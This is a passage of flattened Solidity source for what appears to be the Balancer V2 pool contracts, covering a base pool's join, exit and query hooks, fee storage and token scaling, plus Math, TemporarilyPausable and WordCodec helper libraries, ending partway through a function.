uint256 private constant _MAX_SWAP_FEE_PERCENTAGE = 1e17; // 10% - this fits in 64 bits
// Storage slot that can be used to store unrelated pieces of information. In particular, by default is used
// to store only the swap fee percentage of a pool. But it can be extended to store some more pieces of information.
// The swap fee percentage is stored in the most-significant 64 bits, therefore the remaining 192 bits can be
// used to store any other piece of information.
bytes32 private _miscData;
uint256 private constant _SWAP_FEE_PERCENTAGE_OFFSET = 192;
bytes32 private immutable _poolId;
event SwapFeePercentageChanged(uint256 swapFeePercentage);
constructor(
IVault vault,
IVault.PoolSpecialization specialization,
string memory name,
string memory symbol,
IERC20[] memory tokens,
address[] memory assetManagers,
uint256 swapFeePercentage,
uint256 pauseWindowDuration,
uint256 bufferPeriodDuration,
address owner
)
// Base Pools are expected to be deployed using factories. By using the factory address as the action
// disambiguator, we make all Pools deployed by the same factory share action identifiers. This allows for
// simpler management of permissions (such as being able to manage granting the 'set fee percentage' action in
// any Pool created by the same factory), while still making action identifiers unique among different factories
// if the selectors match, preventing accidental errors.
Authentication(bytes32(uint256(msg.sender)))
BalancerPoolToken(name, symbol, vault)
BasePoolAuthorization(owner)
TemporarilyPausable(pauseWindowDuration, bufferPeriodDuration)
{
_require(tokens.length >= _MIN_TOKENS, Errors.MIN_TOKENS);
_require(tokens.length <= _getMaxTokens(), Errors.MAX_TOKENS);
// The Vault only requires the token list to be ordered for the Two Token Pools specialization. However,
// to make the developer experience consistent, we are requiring this condition for all the native pools.
// Also, since these Pools will register tokens only once, we can ensure the Pool tokens will follow the same
// order. We rely on this property to make Pools simpler to write, as it lets us assume that the
// order of token-specific parameters (such as token weights) will not change.
InputHelpers.ensureArrayIsSorted(tokens);
_setSwapFeePercentage(swapFeePercentage);
bytes32 poolId = vault.registerPool(specialization);
vault.registerTokens(poolId, tokens, assetManagers);
// Set immutable state variables - these cannot be read from during construction
_poolId = poolId;
}
// Getters / Setters
function getPoolId() public view override returns (bytes32) {
return _poolId;
}
function _getTotalTokens() internal view virtual returns (uint256);
function _getMaxTokens() internal pure virtual returns (uint256);
function _getMinimumBpt() internal pure virtual returns (uint256) {
return _MINIMUM_BPT;
}
function getSwapFeePercentage() public view returns (uint256) {
return _miscData.decodeUint64(_SWAP_FEE_PERCENTAGE_OFFSET);
}
function setSwapFeePercentage(uint256 swapFeePercentage) external virtual authenticate whenNotPaused {
_setSwapFeePercentage(swapFeePercentage);
}
function _setSwapFeePercentage(uint256 swapFeePercentage) private {
_require(swapFeePercentage >= _MIN_SWAP_FEE_PERCENTAGE, Errors.MIN_SWAP_FEE_PERCENTAGE);
_require(swapFeePercentage <= _MAX_SWAP_FEE_PERCENTAGE, Errors.MAX_SWAP_FEE_PERCENTAGE);
_miscData = _miscData.insertUint64(swapFeePercentage, _SWAP_FEE_PERCENTAGE_OFFSET);
emit SwapFeePercentageChanged(swapFeePercentage);
}
function setAssetManagerPoolConfig(IERC20 token, bytes memory poolConfig)
public
virtual
authenticate
whenNotPaused
{
_setAssetManagerPoolConfig(token, poolConfig);
}
function _setAssetManagerPoolConfig(IERC20 token, bytes memory poolConfig) private {
bytes32 poolId = getPoolId();
(, , , address assetManager) = getVault().getPoolTokenInfo(poolId, token);
IAssetManager(assetManager).setConfig(poolId, poolConfig);
}
function setPaused(bool paused) external authenticate {
_setPaused(paused);
}
function _isOwnerOnlyAction(bytes32 actionId) internal view virtual override returns (bool) {
return
(actionId == getActionId(this.setSwapFeePercentage.selector)) ||
(actionId == getActionId(this.setAssetManagerPoolConfig.selector));
}
function _getMiscData() internal view returns (bytes32) {
return _miscData;
}
/**
* Inserts data into the least-significant 192 bits of the misc data storage slot.
* Note that the remaining 64 bits are used for the swap fee percentage and cannot be overloaded.
*/
function _setMiscData(bytes32 newData) internal {
_miscData = _miscData.insertBits192(newData, 0);
}
// Join / Exit Hooks
modifier onlyVault(bytes32 poolId) {
_require(msg.sender == address(getVault()), Errors.CALLER_NOT_VAULT);
_require(poolId == getPoolId(), Errors.INVALID_POOL_ID);
_;
}
function onJoinPool(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
bytes memory userData
) public virtual override onlyVault(poolId) returns (uint256[] memory, uint256[] memory) {
uint256[] memory scalingFactors = _scalingFactors();
if (totalSupply() == 0) {
(uint256 bptAmountOut, uint256[] memory amountsIn) = _onInitializePool(
poolId,
sender,
recipient,
scalingFactors,
userData
);
// On initialization, we lock _getMinimumBpt() by minting it for the zero address. This BPT acts as a
// minimum as it will never be burned, which reduces potential issues with rounding, and also prevents the
// Pool from ever being fully drained.
_require(bptAmountOut >= _getMinimumBpt(), Errors.MINIMUM_BPT);
_mintPoolTokens(address(0), _getMinimumBpt());
_mintPoolTokens(recipient, bptAmountOut - _getMinimumBpt());
// amountsIn are amounts entering the Pool, so we round up.
_downscaleUpArray(amountsIn, scalingFactors);
return (amountsIn, new uint256[](_getTotalTokens()));
} else {
_upscaleArray(balances, scalingFactors);
(uint256 bptAmountOut, uint256[] memory amountsIn, uint256[] memory dueProtocolFeeAmounts) = _onJoinPool(
poolId,
sender,
recipient,
balances,
lastChangeBlock,
protocolSwapFeePercentage,
scalingFactors,
userData
);
// Note we no longer use `balances` after calling `_onJoinPool`, which may mutate it.
_mintPoolTokens(recipient, bptAmountOut);
// amountsIn are amounts entering the Pool, so we round up.
_downscaleUpArray(amountsIn, scalingFactors);
// dueProtocolFeeAmounts are amounts exiting the Pool, so we round down.
_downscaleDownArray(dueProtocolFeeAmounts, scalingFactors);
return (amountsIn, dueProtocolFeeAmounts);
}
}
function onExitPool(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
bytes memory userData
) public virtual override onlyVault(poolId) returns (uint256[] memory, uint256[] memory) {
uint256[] memory scalingFactors = _scalingFactors();
_upscaleArray(balances, scalingFactors);
(uint256 bptAmountIn, uint256[] memory amountsOut, uint256[] memory dueProtocolFeeAmounts) = _onExitPool(
poolId,
sender,
recipient,
balances,
lastChangeBlock,
protocolSwapFeePercentage,
scalingFactors,
userData
);
// Note we no longer use `balances` after calling `_onExitPool`, which may mutate it.
_burnPoolTokens(sender, bptAmountIn);
// Both amountsOut and dueProtocolFeeAmounts are amounts exiting the Pool, so we round down.
_downscaleDownArray(amountsOut, scalingFactors);
_downscaleDownArray(dueProtocolFeeAmounts, scalingFactors);
return (amountsOut, dueProtocolFeeAmounts);
}
// Query functions
/**
* @dev Returns the amount of BPT that would be granted to `recipient` if the `onJoinPool` hook were called by the
* Vault with the same arguments, along with the number of tokens `sender` would have to supply.
*
* This function is not meant to be called directly, but rather from a helper contract that fetches current Vault
* data, such as the protocol swap fee percentage and Pool balances.
*
* Like `IVault.queryBatchSwap`, this function is not view due to internal implementation details: the caller must
* explicitly use eth_call instead of eth_sendTransaction.
*/
function queryJoin(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
bytes memory userData
) external returns (uint256 bptOut, uint256[] memory amountsIn) {
InputHelpers.ensureInputLengthMatch(balances.length, _getTotalTokens());
_queryAction(
poolId,
sender,
recipient,
balances,
lastChangeBlock,
protocolSwapFeePercentage,
userData,
_onJoinPool,
_downscaleUpArray
);
// The `return` opcode is executed directly inside `_queryAction`, so execution never reaches this statement,
// and we don't need to return anything here - it just silences compiler warnings.
return (bptOut, amountsIn);
}
/**
* @dev Returns the amount of BPT that would be burned from `sender` if the `onExitPool` hook were called by the
* Vault with the same arguments, along with the number of tokens `recipient` would receive.
*
* This function is not meant to be called directly, but rather from a helper contract that fetches current Vault
* data, such as the protocol swap fee percentage and Pool balances.
*
* Like `IVault.queryBatchSwap`, this function is not view due to internal implementation details: the caller must
* explicitly use eth_call instead of eth_sendTransaction.
*/
function queryExit(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
bytes memory userData
) external returns (uint256 bptIn, uint256[] memory amountsOut) {
InputHelpers.ensureInputLengthMatch(balances.length, _getTotalTokens());
_queryAction(
poolId,
sender,
recipient,
balances,
lastChangeBlock,
protocolSwapFeePercentage,
userData,
_onExitPool,
_downscaleDownArray
);
// The `return` opcode is executed directly inside `_queryAction`, so execution never reaches this statement,
// and we don't need to return anything here - it just silences compiler warnings.
return (bptIn, amountsOut);
}
// Internal hooks to be overridden by derived contracts - all token amounts (except BPT) in these interfaces are
// upscaled.
/**
* @dev Called when the Pool is joined for the first time; that is, when the BPT total supply is zero.
*
* Returns the amount of BPT to mint, and the token amounts the Pool will receive in return.
*
* Minted BPT will be sent to `recipient`, except for _getMinimumBpt(), which will be deducted from this amount and
* sent to the zero address instead. This will cause that BPT to remain forever locked there, preventing total BTP
* from ever dropping below that value, and ensuring `_onInitializePool` can only be called once in the entire
* Pool's lifetime.
*
* The tokens granted to the Pool will be transferred from `sender`. These amounts are considered upscaled and will
* be downscaled (rounding up) before being returned to the Vault.
*/
function _onInitializePool(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory scalingFactors,
bytes memory userData
) internal virtual returns (uint256 bptAmountOut, uint256[] memory amountsIn);
/**
* @dev Called whenever the Pool is joined after the first initialization join (see `_onInitializePool`).
*
* Returns the amount of BPT to mint, the token amounts that the Pool will receive in return, and the number of
* tokens to pay in protocol swap fees.
*
* Implementations of this function might choose to mutate the `balances` array to save gas (e.g. when
* performing intermediate calculations, such as subtraction of due protocol fees). This can be done safely.
*
* Minted BPT will be sent to `recipient`.
*
* The tokens granted to the Pool will be transferred from `sender`. These amounts are considered upscaled and will
* be downscaled (rounding up) before being returned to the Vault.
*
* Due protocol swap fees will be taken from the Pool's balance in the Vault (see `IBasePool.onJoinPool`). These
* amounts are considered upscaled and will be downscaled (rounding down) before being returned to the Vault.
*/
function _onJoinPool(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
uint256[] memory scalingFactors,
bytes memory userData
)
internal
virtual
returns (
uint256 bptAmountOut,
uint256[] memory amountsIn,
uint256[] memory dueProtocolFeeAmounts
);
/**
* @dev Called whenever the Pool is exited.
*
* Returns the amount of BPT to burn, the token amounts for each Pool token that the Pool will grant in return, and
* the number of tokens to pay in protocol swap fees.
*
* Implementations of this function might choose to mutate the `balances` array to save gas (e.g. when
* performing intermediate calculations, such as subtraction of due protocol fees). This can be done safely.
*
* BPT will be burnt from `sender`.
*
* The Pool will grant tokens to `recipient`. These amounts are considered upscaled and will be downscaled
* (rounding down) before being returned to the Vault.
*
* Due protocol swap fees will be taken from the Pool's balance in the Vault (see `IBasePool.onExitPool`). These
* amounts are considered upscaled and will be downscaled (rounding down) before being returned to the Vault.
*/
function _onExitPool(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
uint256[] memory scalingFactors,
bytes memory userData
)
internal
virtual
returns (
uint256 bptAmountIn,
uint256[] memory amountsOut,
uint256[] memory dueProtocolFeeAmounts
);
// Internal functions
/**
* @dev Adds swap fee amount to `amount`, returning a higher value.
*/
function _addSwapFeeAmount(uint256 amount) internal view returns (uint256) {
// This returns amount + fee amount, so we round up (favoring a higher fee amount).
return amount.divUp(FixedPoint.ONE.sub(getSwapFeePercentage()));
}
/**
* @dev Subtracts swap fee amount from `amount`, returning a lower value.
*/
function _subtractSwapFeeAmount(uint256 amount) internal view returns (uint256) {
// This returns amount - fee amount, so we round up (favoring a higher fee amount).
uint256 feeAmount = amount.mulUp(getSwapFeePercentage());
return amount.sub(feeAmount);
}
// Scaling
/**
* @dev Returns a scaling factor that, when multiplied to a token amount for `token`, normalizes its balance as if
* it had 18 decimals.
*/
function _computeScalingFactor(IERC20 token) internal view returns (uint256) {
if (address(token) == address(this)) {
return FixedPoint.ONE;
}
// Tokens that don't implement the `decimals` method are not supported.
uint256 tokenDecimals = ERC20(address(token)).decimals();
// Tokens with more than 18 decimals are not supported.
uint256 decimalsDifference = Math.sub(18, tokenDecimals);
return FixedPoint.ONE * 10**decimalsDifference;
}
/**
* @dev Returns the scaling factor for one of the Pool's tokens. Reverts if `token` is not a token registered by the
* Pool.
*
* All scaling factors are fixed-point values with 18 decimals, to allow for this function to be overridden by
* derived contracts that need to apply further scaling, making these factors potentially non-integer.
*
* The largest 'base' scaling factor (i.e. in tokens with less than 18 decimals) is 10**18, which in fixed-point is
* 10**36. This value can be multiplied with a 112 bit Vault balance with no overflow by a factor of ~1e7, making
* even relatively 'large' factors safe to use.
*
* The 1e7 figure is the result of 2**256 / (1e18 * 1e18 * 2**112).
*/
function _scalingFactor(IERC20 token) internal view virtual returns (uint256);
/**
* @dev Same as `_scalingFactor()`, except for all registered tokens (in the same order as registered). The Vault
* will always pass balances in this order when calling any of the Pool hooks.
*/
function _scalingFactors() internal view virtual returns (uint256[] memory);
function getScalingFactors() external view returns (uint256[] memory) {
return _scalingFactors();
}
/**
* @dev Applies `scalingFactor` to `amount`, resulting in a larger or equal value depending on whether it needed
* scaling or not.
*/
function _upscale(uint256 amount, uint256 scalingFactor) internal pure returns (uint256) {
// Upscale rounding wouldn't necessarily always go in the same direction: in a swap for example the balance of
// token in should be rounded up, and that of token out rounded down. This is the only place where we round in
// the same direction for all amounts, as the impact of this rounding is expected to be minimal (and there's no
// rounding error unless `_scalingFactor()` is overriden).
return FixedPoint.mulDown(amount, scalingFactor);
}
/**
* @dev Same as `_upscale`, but for an entire array. This function does not return anything, but instead *mutates*
* the `amounts` array.
*/
function _upscaleArray(uint256[] memory amounts, uint256[] memory scalingFactors) internal view {
for (uint256 i = 0; i < _getTotalTokens(); ++i) {
amounts[i] = FixedPoint.mulDown(amounts[i], scalingFactors[i]);
}
}
/**
* @dev Reverses the `scalingFactor` applied to `amount`, resulting in a smaller or equal value depending on
* whether it needed scaling or not. The result is rounded down.
*/
function _downscaleDown(uint256 amount, uint256 scalingFactor) internal pure returns (uint256) {
return FixedPoint.divDown(amount, scalingFactor);
}
/**
* @dev Same as `_downscaleDown`, but for an entire array. This function does not return anything, but instead
* *mutates* the `amounts` array.
*/
function _downscaleDownArray(uint256[] memory amounts, uint256[] memory scalingFactors) internal view {
for (uint256 i = 0; i < _getTotalTokens(); ++i) {
amounts[i] = FixedPoint.divDown(amounts[i], scalingFactors[i]);
}
}
/**
* @dev Reverses the `scalingFactor` applied to `amount`, resulting in a smaller or equal value depending on
* whether it needed scaling or not. The result is rounded up.
*/
function _downscaleUp(uint256 amount, uint256 scalingFactor) internal pure returns (uint256) {
return FixedPoint.divUp(amount, scalingFactor);
}
/**
* @dev Same as `_downscaleUp`, but for an entire array. This function does not return anything, but instead
* *mutates* the `amounts` array.
*/
function _downscaleUpArray(uint256[] memory amounts, uint256[] memory scalingFactors) internal view {
for (uint256 i = 0; i < _getTotalTokens(); ++i) {
amounts[i] = FixedPoint.divUp(amounts[i], scalingFactors[i]);
}
}
function _getAuthorizer() internal view override returns (IAuthorizer) {
// Access control management is delegated to the Vault's Authorizer. This lets Balancer Governance manage which
// accounts can call permissioned functions: for example, to perform emergency pauses.
// If the owner is delegated, then *all* permissioned functions, including `setSwapFeePercentage`, will be under
// Governance control.
return getVault().getAuthorizer();
}
function _queryAction(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
bytes memory userData,
function(bytes32, address, address, uint256[] memory, uint256, uint256, uint256[] memory, bytes memory)
internal
returns (uint256, uint256[] memory, uint256[] memory) _action,
function(uint256[] memory, uint256[] memory) internal view _downscaleArray
) private {
// This uses the same technique used by the Vault in queryBatchSwap. Refer to that function for a detailed
// explanation.
if (msg.sender != address(this)) {
// We perform an external call to ourselves, forwarding the same calldata. In this call, the else clause of
// the preceding if statement will be executed instead.
// solhint-disable-next-line avoid-low-level-calls
(bool success, ) = address(this).call(msg.data);
// solhint-disable-next-line no-inline-assembly
assembly {
// This call should always revert to decode the bpt and token amounts from the revert reason
switch success
case 0 {
// Note we are manually writing the memory slot 0. We can safely overwrite whatever is
// stored there as we take full control of the execution and then immediately return.
// We copy the first 4 bytes to check if it matches with the expected signature, otherwise
// there was another revert reason and we should forward it.
returndatacopy(0, 0, 0x04)
let error := and(mload(0), 0xffffffff00000000000000000000000000000000000000000000000000000000)
// If the first 4 bytes don't match with the expected signature, we forward the revert reason.
if eq(eq(error, 0x43adbafb00000000000000000000000000000000000000000000000000000000), 0) {
returndatacopy(0, 0, returndatasize())
revert(0, returndatasize())
}
// The returndata contains the signature, followed by the raw memory representation of the
// `bptAmount` and `tokenAmounts` (array: length + data). We need to return an ABI-encoded
// representation of these.
// An ABI-encoded response will include one additional field to indicate the starting offset of
// the `tokenAmounts` array. The `bptAmount` will be laid out in the first word of the
// returndata.
//
// In returndata:
// [ signature ][ bptAmount ][ tokenAmounts length ][ tokenAmounts values ]
// [ 4 bytes ][ 32 bytes ][ 32 bytes ][ (32 * length) bytes ]
//
// We now need to return (ABI-encoded values):
// [ bptAmount ][ tokeAmounts offset ][ tokenAmounts length ][ tokenAmounts values ]
// [ 32 bytes ][ 32 bytes ][ 32 bytes ][ (32 * length) bytes ]
// We copy 32 bytes for the `bptAmount` from returndata into memory.
// Note that we skip the first 4 bytes for the error signature
returndatacopy(0, 0x04, 32)
// The offsets are 32-bytes long, so the array of `tokenAmounts` will start after
// the initial 64 bytes.
mstore(0x20, 64)
// We now copy the raw memory array for the `tokenAmounts` from returndata into memory.
// Since bpt amount and offset take up 64 bytes, we start copying at address 0x40. We also
// skip the first 36 bytes from returndata, which correspond to the signature plus bpt amount.
returndatacopy(0x40, 0x24, sub(returndatasize(), 36))
// We finally return the ABI-encoded uint256 and the array, which has a total length equal to
// the size of returndata, plus the 32 bytes of the offset but without the 4 bytes of the
// error signature.
return(0, add(returndatasize(), 28))
}
default {
// This call should always revert, but we fail nonetheless if that didn't happen
invalid()
}
}
} else {
uint256[] memory scalingFactors = _scalingFactors();
_upscaleArray(balances, scalingFactors);
(uint256 bptAmount, uint256[] memory tokenAmounts, ) = _action(
poolId,
sender,
recipient,
balances,
lastChangeBlock,
protocolSwapFeePercentage,
scalingFactors,
userData
);
_downscaleArray(tokenAmounts, scalingFactors);
// solhint-disable-next-line no-inline-assembly
assembly {
// We will return a raw representation of `bptAmount` and `tokenAmounts` in memory, which is composed of
// a 32-byte uint256, followed by a 32-byte for the array length, and finally the 32-byte uint256 values
// Because revert expects a size in bytes, we multiply the array length (stored at `tokenAmounts`) by 32
let size := mul(mload(tokenAmounts), 32)
// We store the `bptAmount` in the previous slot to the `tokenAmounts` array. We can make sure there
// will be at least one available slot due to how the memory scratch space works.
// We can safely overwrite whatever is stored in this slot as we will revert immediately after that.
let start := sub(tokenAmounts, 0x20)
mstore(start, bptAmount)
// We send one extra value for the error signature "QueryError(uint256,uint256[])" which is 0x43adbafb
// We use the previous slot to `bptAmount`.
mstore(sub(start, 0x20), 0x0000000000000000000000000000000000000000000000000000000043adbafb)
start := sub(start, 0x04)
// When copying from `tokenAmounts` into returndata, we copy the additional 68 bytes to also return
// the `bptAmount`, the array 's length, and the error signature.
revert(start, add(size, 68))
}
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "./IBasePool.sol";
/**
* @dev Pool contracts with the MinimalSwapInfo or TwoToken specialization settings should implement this interface.
*
* This is called by the Vault when a user calls `IVault.swap` or `IVault.batchSwap` to swap with this Pool.
* Returns the number of tokens the Pool will grant to the user in a 'given in' swap, or that the user will grant
* to the pool in a 'given out' swap.
*
* This can often be implemented by a `view` function, since many pricing algorithms don't need to track state
* changes in swaps. However, contracts implementing this in non-view functions should check that the caller is
* indeed the Vault.
*/
interface IMinimalSwapInfoPool is IBasePool {
function onSwap(
SwapRequest memory swapRequest,
uint256 currentBalanceTokenIn,
uint256 currentBalanceTokenOut
) external returns (uint256 amount);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../helpers/BalancerErrors.sol";
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow checks.
* Adapted from OpenZeppelin's SafeMath library
*/
library Math {
/**
* @dev Returns the addition of two unsigned integers of 256 bits, reverting on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
_require(c >= a, Errors.ADD_OVERFLOW);
return c;
}
/**
* @dev Returns the addition of two signed integers, reverting on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
_require((b >= 0 && c >= a) || (b < 0 && c < a), Errors.ADD_OVERFLOW);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers of 256 bits, reverting on overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
_require(b <= a, Errors.SUB_OVERFLOW);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the subtraction of two signed integers, reverting on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
_require((b >= 0 && c <= a) || (b < 0 && c > a), Errors.SUB_OVERFLOW);
return c;
}
/**
* @dev Returns the largest of two numbers of 256 bits.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers of 256 bits.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
_require(a == 0 || c / a == b, Errors.MUL_OVERFLOW);
return c;
}
function div(
uint256 a,
uint256 b,
bool roundUp
) internal pure returns (uint256) {
return roundUp ? divUp(a, b) : divDown(a, b);
}
function divDown(uint256 a, uint256 b) internal pure returns (uint256) {
_require(b != 0, Errors.ZERO_DIVISION);
return a / b;
}
function divUp(uint256 a, uint256 b) internal pure returns (uint256) {
_require(b != 0, Errors.ZERO_DIVISION);
if (a == 0) {
return 0;
} else {
return 1 + (a - 1) / b;
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "./BalancerErrors.sol";
import "./ITemporarilyPausable.sol";
/**
* @dev Allows for a contract to be paused during an initial period after deployment, disabling functionality. Can be
* used as an emergency switch in case a security vulnerability or threat is identified.
*
* The contract can only be paused during the Pause Window, a period that starts at deployment. It can also be
* unpaused and repaused any number of times during this period. This is intended to serve as a safety measure: it lets
* system managers react quickly to potentially dangerous situations, knowing that this action is reversible if careful
* analysis later determines there was a false alarm.
*
* If the contract is paused when the Pause Window finishes, it will remain in the paused state through an additional
* Buffer Period, after which it will be automatically unpaused forever. This is to ensure there is always enough time
* to react to an emergency, even if the threat is discovered shortly before the Pause Window expires.
*
* Note that since the contract can only be paused within the Pause Window, unpausing during the Buffer Period is
* irreversible.
*/
abstract contract TemporarilyPausable is ITemporarilyPausable {
// The Pause Window and Buffer Period are timestamp-based: they should not be relied upon for sub-minute accuracy.
// solhint-disable not-rely-on-time
uint256 private constant _MAX_PAUSE_WINDOW_DURATION = 90 days;
uint256 private constant _MAX_BUFFER_PERIOD_DURATION = 30 days;
uint256 private immutable _pauseWindowEndTime;
uint256 private immutable _bufferPeriodEndTime;
bool private _paused;
constructor(uint256 pauseWindowDuration, uint256 bufferPeriodDuration) {
_require(pauseWindowDuration <= _MAX_PAUSE_WINDOW_DURATION, Errors.MAX_PAUSE_WINDOW_DURATION);
_require(bufferPeriodDuration <= _MAX_BUFFER_PERIOD_DURATION, Errors.MAX_BUFFER_PERIOD_DURATION);
uint256 pauseWindowEndTime = block.timestamp + pauseWindowDuration;
_pauseWindowEndTime = pauseWindowEndTime;
_bufferPeriodEndTime = pauseWindowEndTime + bufferPeriodDuration;
}
/**
* @dev Reverts if the contract is paused.
*/
modifier whenNotPaused() {
_ensureNotPaused();
_;
}
/**
* @dev Returns the current contract pause status, as well as the end times of the Pause Window and Buffer
* Period.
*/
function getPausedState()
external
view
override
returns (
bool paused,
uint256 pauseWindowEndTime,
uint256 bufferPeriodEndTime
)
{
paused = !_isNotPaused();
pauseWindowEndTime = _getPauseWindowEndTime();
bufferPeriodEndTime = _getBufferPeriodEndTime();
}
/**
* @dev Sets the pause state to `paused`. The contract can only be paused until the end of the Pause Window, and
* unpaused until the end of the Buffer Period.
*
* Once the Buffer Period expires, this function reverts unconditionally.
*/
function _setPaused(bool paused) internal {
if (paused) {
_require(block.timestamp < _getPauseWindowEndTime(), Errors.PAUSE_WINDOW_EXPIRED);
} else {
_require(block.timestamp < _getBufferPeriodEndTime(), Errors.BUFFER_PERIOD_EXPIRED);
}
_paused = paused;
emit PausedStateChanged(paused);
}
/**
* @dev Reverts if the contract is paused.
*/
function _ensureNotPaused() internal view {
_require(_isNotPaused(), Errors.PAUSED);
}
/**
* @dev Returns true if the contract is unpaused.
*
* Once the Buffer Period expires, the gas cost of calling this function is reduced dramatically, as storage is no
* longer accessed.
*/
function _isNotPaused() internal view returns (bool) {
// After the Buffer Period, the (inexpensive) timestamp check short-circuits the storage access.
return block.timestamp > _getBufferPeriodEndTime() || !_paused;
}
// These getters lead to reduced bytecode size by inlining the immutable variables in a single place.
function _getPauseWindowEndTime() private view returns (uint256) {
return _pauseWindowEndTime;
}
function _getBufferPeriodEndTime() private view returns (uint256) {
return _bufferPeriodEndTime;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
/**
* @dev Library for encoding and decoding values stored inside a 256 bit word. Typically used to pack multiple values in
* a single storage slot, saving gas by performing less storage accesses.
*
* Each value is defined by its size and the least significant bit in the word, also known as offset. For example, two
* 128 bit values may be encoded in a word by assigning one an offset of 0, and the other an offset of 128.
*
* We could use Solidity structs to pack values together in a single storage slot instead of relying on a custom and
* error-prone library, but unfortunately Solidity only allows for structs to live in either storage, calldata or
* memory. Because a memory struct uses not just memory but also a slot in the stack (to store its memory location),
* using memory for word-sized values (i.e. of 256 bits or less) is strictly less gas performant, and doesn't even
* prevent stack-too-deep issues. This is compounded by the fact that Balancer contracts typically are memory-intensive,
* and the cost of accesing memory increases quadratically with the number of allocated words. Manual packing and
* unpacking is therefore the preferred approach.
*/
library WordCodec {
// Masks are values with the least significant N bits set. They can be used to extract an encoded value from a word,
// or to insert a new one replacing the old.
uint256 private constant _MASK_1 = 2**(1) - 1;
uint256 private constant _MASK_5 = 2**(5) - 1;
uint256 private constant _MASK_7 = 2**(7) - 1;
uint256 private constant _MASK_10 = 2**(10) - 1;
uint256 private constant _MASK_16 = 2**(16) - 1;
uint256 private constant _MASK_22 = 2**(22) - 1;
uint256 private constant _MASK_31 = 2**(31) - 1;
uint256 private constant _MASK_32 = 2**(32) - 1;
uint256 private constant _MASK_53 = 2**(53) - 1;
uint256 private constant _MASK_64 = 2**(64) - 1;
uint256 private constant _MASK_128 = 2**(128) - 1;
uint256 private constant _MASK_192 = 2**(192) - 1;
// Largest positive values that can be represented as N bits signed integers.
int256 private constant _MAX_INT_22 = 2**(21) - 1;
int256 private constant _MAX_INT_53 = 2**(52) - 1;
// In-place insertion
/**
* @dev Inserts a boolean value shifted by an offset into a 256 bit word, replacing the old value. Returns the new
* word.
*/
function insertBool(
bytes32 word,
bool value,
uint256 offset
) internal pure returns (bytes32) {
bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_1 << offset));
return clearedWord | bytes32(uint256(value ? 1 : 0) << offset);
}
// Unsigned
/**
* @dev Inserts a 5 bit unsigned integer shifted by an offset into a 256 bit word, replacing the old value. Returns
* the new word.
*
* Assumes `value` only uses its least significant 5 bits, otherwise it may overwrite sibling bytes.
*/
function insertUint5(
bytes32 word,
uint256 value,
uint256 offset
) internal pure returns (bytes32) {
bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_5 << offset));
return clearedWord | bytes32(value << offset);
}
/**
* @dev Inserts a 7 bit unsigned integer shifted by an offset into a 256 bit word, replacing the old value. Returns
* the new word.
*
* Assumes `value` only uses its least significant 7 bits, otherwise it may overwrite sibling bytes.
*/
function insertUint7(
bytes32 word,
uint256 value,
uint256 offset
) internal pure returns (bytes32) {
bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_7 << offset));
return clearedWord | bytes32(value << offset);
}
/**
* @dev Inserts a 10 bit unsigned integer shifted by an offset into a 256 bit word, replacing the old value. Returns
* the new word.
*
* Assumes `value` only uses its least significant 10 bits, otherwise it may overwrite sibling bytes.
*/
function insertUint10(
bytes32 word,
uint256 value,
